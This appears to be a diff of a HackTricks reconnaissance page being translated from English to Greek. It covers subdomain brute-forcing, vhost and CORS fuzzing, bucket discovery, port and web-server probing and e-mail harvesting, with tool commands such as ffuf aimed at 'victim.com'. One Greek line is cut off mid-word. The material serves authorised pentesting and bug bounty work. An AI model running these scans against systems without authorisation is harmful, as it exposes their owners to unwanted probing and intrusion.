Αυτό το project προσφέρει **δωρεάν όλους τους υποτομείς που σχετίζονται με προγράμματα bug-bounty**. Μπορείτε να αποκτήσετε πρόσβαση σε αυτά τα δεδομένα χρησιμοποιώντας επίσης το [chaospy](https://github.com/dr-0x0x/chaospy) ή ακόμα και να έχετε πρόσβαση στο πεδίο εφαρμογής που χρησιμοποιεί αυτό το project [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
|
||||
|
||||
You can find a **comparison** of many of these tools here: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
Μπορείτε να βρείτε μια **σύγκριση** πολλών από αυτά τα εργαλεία εδώ: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
|
||||
### **DNS Brute force**
|
||||
### **Βίαιη επίθεση DNS**
|
||||
|
||||
Let's try to find new **subdomains** brute-forcing DNS servers using possible subdomain names.
|
||||
Ας προσπαθήσουμε να βρούμε νέους **υποτομείς** με βίαιη επίθεση σε DNS διακομιστές χρησιμοποιώντας πιθανά ονόματα υποτομέων.
|
||||
|
||||
For this action you will need some **common subdomains wordlists like**:
|
||||
Για αυτήν την ενέργεια θα χρειαστείτε μερικές **κοινές λίστες λέξεων για υποτομείς όπως**:
|
||||
|
||||
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
|
||||
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
|
||||
|
@ -398,118 +346,93 @@ For this action you will need some **common subdomains wordlists like**:
|
|||
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
|
||||
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
|
||||
|
||||
And also IPs of good DNS resolvers. In order to generate a list of trusted DNS resolvers you can download the resolvers from [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) and use [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) to filter them. Or you could use: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
Και επίσης τις διευθύνσεις IP καλών DNS αναλυτών. Για να δημιουργήσετε μια λίστα αξιόπιστων DNS αναλυτών, μπορείτε να κατεβάσετε τους αναλυτές από [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) και να χρησιμοποιήσετε το [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) για να τους φιλτράρετε. Ή μπορείτε να χρησιμοποιήσετε: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
|
||||
The most recommended tools for DNS brute-force are:
|
||||
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): This was the first tool that performed an effective DNS brute-force. It's very fast however it's prone to false positives.
|
||||
Τα πιο συνιστώμενα εργαλεία για βίαιη επίθεση DNS είναι:
|
||||
|
||||
* [**massdns**](https://github.com/blechschmidt/massdns): Αυτό ήταν το πρώτο εργαλείο που πραγματοποίησε μια αποτελεσματική βίαιη επίθεση DNS. Είναι πολύ γρήγορο, αλλά είναι επιρρεπές σε λανθασμένα θετικά.
|
||||
```bash
|
||||
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||
```
|
||||
|
||||
* [**gobuster**](https://github.com/OJ/gobuster): This one I think just uses 1 resolver
|
||||
|
||||
* [**gobuster**](https://github.com/OJ/gobuster): Αυτό νομίζω χρησιμοποιεί μόνο 1 αναλυτή
|
||||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is a wrapper around `massdns`, written in go, that allows you to enumerate valid subdomains using active bruteforce, as well as resolve subdomains with wildcard handling and easy input-output support.
|
||||
|
||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) είναι ένα περιτύλιγμα γύρω από το `massdns`, γραμμένο σε go, που σας επιτρέπει να απαριθμήσετε έγκυρους υποτομείς χρησιμοποιώντας ενεργή βίαιη επίθεση, καθώς και να επιλύσετε υποτομείς με χειρισμό μπαλαντέρ και εύκολη υποστήριξη εισόδου-εξόδου.
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
|
||||
* [**puredns**](https://github.com/d3mondev/puredns): It also uses `massdns`.
|
||||
|
||||
* [**puredns**](https://github.com/d3mondev/puredns): Χρησιμοποιεί επίσης το `massdns`.
|
||||
```
|
||||
puredns bruteforce all.txt domain.com
|
||||
```
|
||||
|
||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) uses asyncio to brute force domain names asynchronously.
|
||||
|
||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) χρησιμοποιεί το asyncio για να εκτελέσει ασύγχρονα επιθέσεις brute force σε ονόματα domain.
|
||||
```
|
||||
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||
```
|
||||
### Δεύτερος γύρος DNS Brute-Force
|
||||
|
||||
### Second DNS Brute-Force Round
|
||||
|
||||
After having found subdomains using open sources and brute-forcing, you could generate alterations of the subdomains found to try to find even more. Several tools are useful for this purpose:
|
||||
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Given the domains and subdomains generate permutations.
|
||||
Αφού έχετε βρει υποτομείς χρησιμοποιώντας ανοιχτές πηγές και brute-forcing, μπορείτε να δημιουργήσετε παραλλαγές των βρεθέντων υποτομέων για να προσπαθήσετε να βρείτε ακόμα περισσότερους. Πολλά εργαλεία είναι χρήσιμα για αυτόν τον σκοπό:
|
||||
|
||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Δεδομένων των τομέων και των υποτομέων, δημιουργεί περιπτώσεις.
|
||||
```bash
|
||||
cat subdomains.txt | dnsgen -
|
||||
```
|
||||
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Given the domains and subdomains generate permutations.
|
||||
* You can get goaltdns permutations **wordlist** in [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
|
||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Δεδομένων των τομέων και των υποτομέων, δημιουργήστε περιπτώσεις.
|
||||
* Μπορείτε να αποκτήσετε τις περιπτώσεις του goaltdns **wordlist** [**εδώ**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||
```bash
|
||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||
```
|
||||
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** Given the domains and subdomains generate permutations. If not permutations file is indicated gotator will use its own one.
|
||||
|
||||
* [**gotator**](https://github.com/Josue87/gotator)**:** Δεδομένων των τομέων και των υποτομέων, δημιουργήστε περιπτώσεις. Εάν δεν υπάρχει αρχείο με περιπτώσεις που έχει καθοριστεί, το gotator θα χρησιμοποιήσει το δικό του.
|
||||
```
|
||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||
```
|
||||
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): Apart from generating subdomains permutations, it can also try to resolve them (but it's better to use the previous commented tools).
|
||||
* You can get altdns permutations **wordlist** in [**here**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
||||
|
||||
* [**altdns**](https://github.com/infosec-au/altdns): Εκτός από τη δημιουργία περιπτώσεων υποτομέων, μπορεί επίσης να προσπαθήσει να τις επιλύσει (αλλά είναι καλύτερο να χρησιμοποιήσετε τα προηγούμενα εργαλεία που σχολιάστηκαν).
|
||||
* Μπορείτε να αποκτήσετε τις περιπτώσεις υποτομέων του altdns **wordlist** [**εδώ**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
||||
```
|
||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||
```
|
||||
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): Another tool to perform permutations, mutations and alteration of subdomains. This tool will brute force the result (it doesn't support dns wild card).
|
||||
* You can get dmut permutations wordlist in [**here**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
|
||||
|
||||
* [**dmut**](https://github.com/bp0lr/dmut): Ένα άλλο εργαλείο για να πραγματοποιήσετε περιστροφές, μεταλλάξεις και αλλοιώσεις των υποτομέων. Αυτό το εργαλείο θα δοκιμάσει όλες τις πιθανές περιπτώσεις (δεν υποστηρίζει καρτέλα dns).
|
||||
* Μπορείτε να αποκτήσετε τη λίστα λέξεων με τις περιστροφές του dmut [**εδώ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
|
||||
```bash
|
||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||
```
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Βασισμένο σε έναν τομέα, **δημιουργεί νέα πιθανά ονόματα υποτομέων** βασισμένα σε καθορισμένα μοτίβα για να ανακαλύψει περισσότερους υποτομείς.
|
||||
|
||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Based on a domain it **generates new potential subdomains names** based on indicated patterns to try to discover more subdomains.
|
||||
|
||||
#### Smart permutations generation
|
||||
|
||||
* [**regulator**](https://github.com/cramppet/regulator): For more info read this [**post**](https://cramppet.github.io/regulator/index.html) but it will basically get the **main parts** from the **discovered subdomains** and will mix them to find more subdomains.
|
||||
#### Έξυπνη δημιουργία περιπτώσεων
|
||||
|
||||
* [**regulator**](https://github.com/cramppet/regulator): Για περισσότερες πληροφορίες διαβάστε αυτήν την [**ανάρτηση**](https://cramppet.github.io/regulator/index.html) αλλά ουσιαστικά θα πάρει τα **κύρια μέρη** από τους **ανακαλυφθέντες υποτομείς** και θα τα ανακατέψει για να βρει περισσότερους υποτομείς.
|
||||
```bash
|
||||
python3 main.py adobe.com adobe adobe.rules
|
||||
make_brute_list.sh adobe.rules adobe.brute
|
||||
puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ is a subdomain brute-force fuzzer coupled with an immensly simple but effective DNS reponse-guided algorithm. It utilizes a provided set of input data, like a tailored wordlist or historical DNS/TLS records, to accurately synthesize more corresponding domain names and expand them even further in a loop based on information gathered during DNS scan.
|
||||
|
||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ είναι ένα εργαλείο brute-force fuzzer για υποτομείς τομές που συνδυάζεται με έναν απλό αλλά αποτελεσματικό αλγόριθμο καθοδήγησης απόκρισης DNS. Χρησιμοποιεί ένα σύνολο παρεχόμενων δεδομένων εισόδου, όπως μια προσαρμοσμένη λίστα λέξεων ή ιστορικά αρχεία DNS/TLS, για να συνθέσει ακριβέστερα αντίστοιχα ονόματα τομέων και να τα επεκτείνει ακόμα περισσότερο σε έναν βρόχο βασισμένο στις πληροφορίες που συλλέγονται κατά τη διάρκεια της σάρωσης DNS.
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
### **Μεθοδολογία Ανακάλυψης Υποτομέων**
|
||||
|
||||
### **Subdomain Discovery Workflow**
|
||||
|
||||
Check this blog post I wrote about how to **automate the subdomain discovery** from a domain using **Trickest workflows** so I don't need to launch manually a bunch of tools in my computer:
|
||||
Ελέγξτε αυτήν την ανάρτηση στο blog που έγραψα για το πώς να **αυτοματοποιήσετε την ανακάλυψη υποτομέων** από έναν τομέα χρησιμοποιώντας τις **πιο δοκιμασμένες μεθοδολογίες** έτσι ώστε να μην χρειάζεται να εκτελέσετε χειροκίνητα πολλά εργαλεία στον υπολογιστή σας:
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
### **VHosts / Virtual Hosts**
|
||||
### **VHosts / Εικονικοί Κόμβοι**
|
||||
|
||||
If you found an IP address containing **one or several web pages** belonging to subdomains, you could try to **find other subdomains with webs in that IP** by looking in **OSINT sources** for domains in an IP or by **brute-forcing VHost domain names in that IP**.
|
||||
Εάν βρήκατε μια διεύθυνση IP που περιέχει **μία ή περισσότερες ιστοσελίδες** που ανήκουν σε υποτομείς, μπορείτε να προσπαθήσετε να **βρείτε άλλους υποτομείς με ιστοσελίδες σε αυτήν την IP** ψάχνοντας σε πηγές **OSINT** για τομές σε μια IP ή με **βίαιη δοκιμή ονομάτων τομέων VHost** σε αυτήν την IP.
|
||||
|
||||
#### OSINT
|
||||
|
||||
You can find some **VHosts in IPs using** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **or other APIs**.
|
||||
Μπορείτε να βρείτε μερικούς **VHosts σε IPs χρησιμοποιώντας** το [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ή άλλα APIs**.
|
||||
|
||||
**Brute Force**
|
||||
|
||||
If you suspect that some subdomain can be hidden in a web server you could try to brute force it:
|
||||
**Βίαιη Δοκιμή**
|
||||
|
||||
Εάν υποψιάζεστε ότι κάποιος υποτομέας μπορεί να είναι κρυμμένος σε έναν διακομιστή ιστοσελίδων, μπορείτε να προσπαθήσετε να τον ανακαλύψετε με βίαιη δοκιμή:
|
||||
```bash
|
||||
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
||||
|
||||
|
@ -523,219 +446,154 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
|
|||
#https://github.com/codingo/VHostScan
|
||||
VHostScan -t example.com
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
With this technique you may even be able to access internal/hidden endpoints.
|
||||
Με αυτήν την τεχνική μπορείτε ακόμα και να έχετε πρόσβαση σε εσωτερικά/κρυφά endpoints.
|
||||
{% endhint %}
|
||||
|
||||
### **CORS Brute Force**
|
||||
|
||||
Sometimes you will find pages that only return the header _**Access-Control-Allow-Origin**_ when a valid domain/subdomain is set in the _**Origin**_ header. In these scenarios, you can abuse this behaviour to **discover** new **subdomains**.
|
||||
|
||||
Μερικές φορές θα βρείτε σελίδες που επιστρέφουν μόνο τον κεφαλίδα _**Access-Control-Allow-Origin**_ όταν ένα έγκυρο domain/subdomain έχει οριστεί στον κεφαλίδα _**Origin**_. Σε αυτά τα σενάρια, μπορείτε να καταχραστείτε αυτήν τη συμπεριφορά για να **ανακαλύψετε** νέα **subdomains**.
|
||||
```bash
|
||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||
```
|
||||
### **Βίαιη Δύναμη Κάδων**
|
||||
|
||||
### **Buckets Brute Force**
|
||||
Κατά την αναζήτηση για **υποτομείς**, πρέπει να παρακολουθείτε για να δείτε αν αναφέρεται σε οποιοδήποτε είδος **κάδου**, και σε αυτήν την περίπτωση [**ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Επίσης, σε αυτό το σημείο που θα γνωρίζετε όλους τους τομείς εντός του πεδίου εφαρμογής, προσπαθήστε να [**βίαια δοκιμάσετε πιθανά ονόματα κάδων και ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
While looking for **subdomains** keep an eye to see if it is **pointing** to any type of **bucket**, and in that case [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Also, as at this point you will know all the domains inside the scope, try to [**brute force possible bucket names and check the permissions**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
### **Παρακολούθηση**
|
||||
|
||||
### **Monitorization**
|
||||
Μπορείτε να **παρακολουθείτε** αν δημιουργούνται **νέοι υποτομείς** ενός τομέα παρακολουθώντας τα **Αρχεία Καταγραφής Πιστοποιητικού Διαφάνειας** που κάνει το [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
|
||||
|
||||
You can **monitor** if **new subdomains** of a domain are created by monitoring the **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)does.
|
||||
### **Αναζήτηση ευπαθειών**
|
||||
|
||||
### **Looking for vulnerabilities**
|
||||
Ελέγξτε για πιθανές [**καταλήψεις υποτομέων**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Αν ο **υποτομέας** αναφέρεται σε κάποιον **κάδο S3**, [**ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
Check for possible [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
If the **subdomain** is pointing to some **S3 bucket**, [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
Αν βρείτε οποιονδήποτε **υποτομέα με διαφορετική διεύθυνση IP** από αυτές που έχετε ήδη βρει στην ανακάλυψη των περιουσιακών στοιχείων, πρέπει να πραγματοποιήσετε μια **βασική ανίχνευση ευπαθειών** (χρησιμοποιώντας το Nessus ή το OpenVAS) και μερικές [**σάρωση θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) με το **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που εκτελούνται, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για να τις "επιτεθείτε"**.\
|
||||
_Σημειώστε ότι μερικές φορές ο υποτομέας φιλοξενείται μέσα σε μια διεύθυνση IP που δεν ελέγχεται από τον πελάτη, οπότε δεν είναι στο πεδίο εφαρμογής, προσέξτε._
|
||||
|
||||
If you find any **subdomain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\
|
||||
_Note that sometimes the subdomain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._
|
||||
## Διευθύνσεις IP
|
||||
|
||||
## IPs
|
||||
Στα αρχικά βήματα μπορεί να έχετε **βρει ορισμένους εύρους διευθύνσεων IP, τομείς και υποτομείς**.\
|
||||
Είναι ώρα να **συλλέξετε όλες τις διευθύνσεις IP από αυτούς τους εύρους** και για τους **τομείς/υποτομείς (ερωτήματα DNS).**
|
||||
|
||||
In the initial steps you might have **found some IP ranges, domains and subdomains**.\
|
||||
It’s time to **recollect all the IPs from those ranges** and for the **domains/subdomains (DNS queries).**
|
||||
|
||||
Using services from the following **free apis** you can also find **previous IPs used by domains and subdomains**. These IPs might still be owned by the client (and might allow you to find [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
Χρησιμοποιώντας υπηρεσίες από τα ακόλουθα **δωρεάν APIs** μπορείτε επίσης να βρείτε **προηγούμενες διευθύνσεις IP που χρησιμοποιήθηκαν από τομείς και υποτομείς**. Αυτές οι διευθύνσεις IP ενδέχεται να εξακολουθούν να ανήκουν στον πελάτη (και ενδέχεται να σας επιτρέψουν να βρείτε [**παρακάμψεις του CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
|
||||
* [**https://securitytrails.com/**](https://securitytrails.com/)
|
||||
|
||||
You can also check for domains pointing a specific IP address using the tool [**hakip2host**](https://github.com/hakluke/hakip2host)
|
||||
Μπορείτε επίσης να ελέγξετε για τομείς που αναφέρονται σε μια συγκεκριμένη διεύθυνση IP χρησιμοποιώντας το εργαλείο [**hakip2host**](https://github.com/hakluke/hakip2host)
|
||||
|
||||
### **Looking for vulnerabilities**
|
||||
### **Αναζήτηση ευπαθειών**
|
||||
|
||||
**Port scan all the IPs that doesn’t belong to CDNs** (as you highly probably won’t find anything interested in there). In the running services discovered you might be **able to find vulnerabilities**.
|
||||
**Σαρώστε τις θύρες όλων των διευθύνσεων IP που δεν ανήκουν σε CDNs** (καθώς πιθανότατα δεν θα βρείτε κάτι ενδιαφέρον εκεί). Στις ανακαλυφθείσες εκτελούμενες υπηρεσίες ενδέχεται να **βρείτε ευπαθείες**.
|
||||
|
||||
**Find a** [**guide**](../pentesting-network/) **about how to scan hosts.**
|
||||
**Βρείτε ένα** [**οδηγό**](../pentesting-network/) **σχετικά με το πώς να σαρώσετε τους οικοδεσπότες.**
|
||||
|
||||
## Web servers hunting
|
||||
## Κυνήγι διακομιστών ιστού
|
||||
|
||||
> We have found all the companies and their assets and we know IP ranges, domains and subdomains inside the scope. It's time to search for web servers.
|
||||
> Έχουμε βρει όλες τις εταιρείες και τα περιουσιακά τους στοιχεία και γνωρίζουμε τους εύρους διευθύνσεων IP, τους τομείς και τους υποτομείς εντός του πεδίου εφαρμογής. Είναι ώρα να αναζητήσουμε διακομιστές ιστού.
|
||||
|
||||
In the previous steps you have probably already performed some **recon of the IPs and domains discovered**, so you may have **already found all the possible web servers**. However, if you haven't we are now going to see some **fast tricks to search for web servers** inside the scope.
|
||||
Στα προηγούμενα βήματα πιθανόν έχετε ήδη πραγματοποιήσει κάποια **αναγνώριση των ανακαλυφθέντων διευθύνσεων IP και τομέων**, οπότε μπορεί να έχετε ήδη βρει όλους τους πιθανούς διακομιστές ιστού. Ωστόσο, αν δεν το έχετε κάνει, θα δούμε τώρα μερικά **γρήγορα κόλπα για να αναζητήσετε διακομιστές ιστού** εντός του πεδίου εφαρμογής.
|
||||
|
||||
Please, note that this will be **oriented for web apps discovery**, so you should **perform the vulnerability** and **port scanning** also (**if allowed** by the scope).
|
||||
|
||||
A **fast method** to discover **ports open** related to **web** servers using [**masscan** can be found here](../pentesting-network/#http-port-discovery).\
|
||||
Another friendly tool to look for web servers is [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) and [**httpx**](https://github.com/projectdiscovery/httpx). You just pass a list of domains and it will try to connect to port 80 (http) and 443 (https). Additionally, you can indicate to try other ports:
|
||||
Παρακαλώ, σημειώστε ότι αυτό θα είναι **εστιασμένο στην ανακάλυψη εφαρμογών ιστού**, οπότε θα πρέπει επίσης να **πραγματοποιήσετε την ευπαθειακή** και **σάρωση θυρών** επίσης (**εάν επιτρέπεται** από το πεδίο εφαρμογής).
|
||||
|
||||
Ένας **γρήγορος τρόπος** για να ανακαλύψετε **ανοιχτές θύρες** που σχετίζονται με **διακομιστές ιστού** χρησιμοποιώντας το [**masscan μπορεί να βρεθεί εδώ**](../pentesting-network/#http-port-discovery).\
|
||||
Ένα άλλο φιλικό εργαλείο για την αναζήτηση διακομιστών ιστού είναι το [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) και [**httpx**](https://github.com/projectdiscovery/httpx). Απλά περνάτε μια λίστα με τους τομείς κ
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
```
|
||||
### **Στιγμιότυπα οθόνης**
|
||||
|
||||
### **Screenshots**
|
||||
Τώρα που έχετε ανακαλύψει **όλους τους διακομιστές ιστού** που υπάρχουν στο πεδίο εφαρμογής (μεταξύ των **IP** της εταιρείας και όλων των **τομέων** και **υποτομέων**), πιθανώς **να μην ξέρετε από πού να ξεκινήσετε**. Έτσι, ας το κάνουμε απλό και ας ξεκινήσουμε απλά παίρνοντας στιγμιότυπα οθόνης από όλους αυτούς. Απλά με το **να ρίξετε μια ματιά** στη **κύρια σελίδα** μπορείτε να βρείτε **περίεργα** σημεία που είναι πιο **πιθανό** να είναι **ευάλωτα**.
|
||||
|
||||
Now that you have discovered **all the web servers** present in the scope (among the **IPs** of the company and all the **domains** and **subdomains**) you probably **don't know where to start**. So, let's make it simple and start just taking screenshots of all of them. Just by **taking a look** at the **main page** you can find **weird** endpoints that are more **prone** to be **vulnerable**.
|
||||
Για να εκτελέσετε την προτεινόμενη ιδέα, μπορείτε να χρησιμοποιήσετε τα [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) ή [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||
|
||||
To perform the proposed idea you can use [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/) or [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||
Επιπλέον, μπορείτε να χρησιμοποιήσετε το [**eyeballer**](https://github.com/BishopFox/eyeballer) για να εκτελέσετε τα **στιγμιότυπα οθόνης** και να σας πει **τι πιθανότατα περιέχει ευπάθειες** και τι όχι.
|
||||
|
||||
Moreover, you could then use [**eyeballer**](https://github.com/BishopFox/eyeballer) to run over all the **screenshots** to tell you **what's likely to contain vulnerabilities**, and what isn't.
|
||||
## Δημόσια Περιουσιακά Στοιχεία Στο Cloud
|
||||
|
||||
## Public Cloud Assets
|
||||
Για να βρείτε δυνητικά περιουσιακά στοιχεία στο cloud που ανήκουν σε μια εταιρεία, θα πρέπει να **ξεκινήσετε με μια λίστα λέξεων-κλειδιών που αναγνωρίζουν αυτήν την εταιρεία**. Για παράδειγμα, για μια εταιρεία κρυπτονομισμάτων μπορείτε να χρησιμοποιήσετε λέξεις όπως: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||
|
||||
In order to find potential cloud assets belonging to a company you should **start with a list of keywords that identify that company**. For example, a crypto for a crypto company you might use words such as: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||
|
||||
You will also need wordlists of **common words used in buckets**:
|
||||
Θα χρειαστείτε επίσης λίστες λέξεων με **συνηθισμένες λέξεις που χρησιμοποιούνται σε buckets**:
|
||||
|
||||
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||
|
||||
Then, with those words you should generate **permutations** (check the [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) for more info).
|
||||
Στη συνέχεια, με αυτές τις λέξεις θα πρέπει να δημιουργήσετε **περιπτώσεις** (ελέγξτε την [**Δεύτερη Φάση Βίαιης Δύναμης DNS**](./#second-dns-bruteforce-round) για περισσότερες πληροφορίες).
|
||||
|
||||
With the resulting wordlists you could use tools such as [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **or** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||
Με τις προκύπτουσες λίστες λέξεων μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ή** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||
|
||||
Remember that when looking for Cloud Assets you should l**ook for more than just buckets in AWS**.
|
||||
Θυμηθείτε ότι όταν αναζητάτε Περιουσιακά Στοιχεία στο Cloud, θα πρέπει να **αναζητήσετε περισσότερα από απλά buckets στο AWS**.
|
||||
|
||||
### **Looking for vulnerabilities**
|
||||
### **Αναζήτηση ευπαθειών**
|
||||
|
||||
If you find things such as **open buckets or cloud functions exposed** you should **access them** and try to see what they offer you and if you can abuse them.
|
||||
Εάν βρείτε πράγματα όπως **ανοιχτά buckets ή αποκαλυπτήρια cloud functions**, θα πρέπει να **έχετε πρόσβαση** σε αυτά και να δοκιμάσετε να δείτε τι προσφέρουν και αν μπορείτε να τα καταχραστείτε.
|
||||
|
||||
## Emails
|
||||
|
||||
With the **domains** and **subdomains** inside the scope you basically have all what you **need to start searching for emails**. These are the **APIs** and **tools** that have worked the best for me to find emails of a company:
|
||||
Με τους **τομείς** και τους **υποτομείς** που βρίσκονται στο πεδίο εφαρμογής, έχετε βασικά ό,τι χρειάζεστε για να αρχίσετε να αναζητάτε emails. Αυτές είναι οι **APIs** και τα **εργαλεία** που έχουν λειτουργήσει καλύτερα για μένα για να βρω emails μιας εταιρείας:
|
||||
|
||||
* [**theHarvester**](https://github.com/laramies/theHarvester) - with APIs
|
||||
